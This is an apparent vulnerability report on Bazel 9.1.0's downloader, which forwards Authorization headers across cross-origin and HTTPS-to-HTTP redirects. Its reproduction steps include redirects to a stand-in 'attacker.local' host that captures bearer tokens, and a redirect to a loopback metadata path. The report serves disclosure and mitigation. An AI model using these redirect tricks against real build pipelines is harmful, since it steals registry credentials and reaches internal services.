Downloader forwards Authorization headers across cross-origin redirects and HTTPS→HTTP downgrades

Summary

Bazel’s HTTP downloader (used by http_archive, http_file, ctx.download, and related repository rules) forwards sensitive HTTP headers—specifically Authorization—across redirects that change origin (host) and even protocol (HTTPS → HTTP).

In tested cases on Bazel 9.1.0, this behavior results in:

Cross-origin credential forwarding

Credential leakage during redirect handling

HTTPS → HTTP downgrade with credentials preserved

Redirect-based requests to internal/loopback addresses

Most modern HTTP clients and browsers strip sensitive headers on cross-origin redirects or protocol downgrades to reduce credential leakage risk. Bazel does not appear to do so in these cases.

---

Affected Components

HttpDownloader.java

HttpConnector.java

Used by:

http_archive

http_file

ctx.download

ctx.download_and_extract

Tested version:

Bazel 9.1.0 (via Bazelisk 1.19.0)

---

Reproduction

1. Cross-origin Authorization header forwarding

MODULE.bazel

http_archive( name = "example", url = "http://trusted.local:8080/file", sha256 = "3fbb039bb9866c274c4f646a6fd511d034efa4c03ea01d09007fdf5455e7eb6b", type = "tar", )

trusted.local responds with:

HTTP/1.1 302 Found Location: http://attacker.local:8081/payload

Observed at attacker server:

Authorization: Bearer CROSS_ORIGIN_TEST Host: attacker.local:8081 User-Agent: Bazel/release 9.1.0

---

2. HTTPS → HTTP downgrade with Authorization forwarding

Request:

https://trusted.local:8443/file

Redirect response:

HTTP/1.1 302 Found Location: http://attacker.local:8081/plain

Observed at HTTP endpoint:

Authorization: Bearer HTTPS_TEST

Credentials are forwarded to a plaintext HTTP endpoint after redirect downgrade.

---

3. Redirect to internal / loopback addresses

A redirect to internal services is followed:

Location: http://127.0.0.1:8888/latest/meta-data/

The response is fetched and stored in Bazel’s external repository output directory.

---

Observed Behavior

Authorization headers are preserved across redirects that change:

host (cross-origin)

scheme (HTTPS → HTTP)

Redirects are followed without stripping sensitive headers

No warning or mitigation is surfaced to the user

---

Expected Behavior

For security-sensitive headers such as Authorization, Cookie, and Proxy-Authorization:

They should not be forwarded across cross-origin redirects

They should be stripped on HTTPS → HTTP downgrade redirects

Alternatively, redirect behavior should be restricted or explicitly gated

This is consistent with behavior in many HTTP clients and browsers.

---

Security Impact

This behavior can lead to:

Credential leakage to unintended domains via open or compromised redirects

Exposure of tokens intended for authenticated artifact registries

Accidental transmission of credentials over HTTP after HTTPS downgrade

SSRF-style access to internal services in CI/build environments where redirects are attacker-influenced

---

Suggested Mitigations

1. Strip Authorization, Cookie, and Proxy-Authorization headers on cross-origin redirects

2. Strip sensitive headers on HTTPS → HTTP downgrade redirects

3. Optionally restrict redirects to loopback/private ranges by default

4. Add visibility/logging for redirect chains and final destinations

---

Notes

This report focuses specifically on redirect handling and credential forwarding behavior in Bazel’s downloader. It does not rely on exploit scenarios requiring code execution in build targets.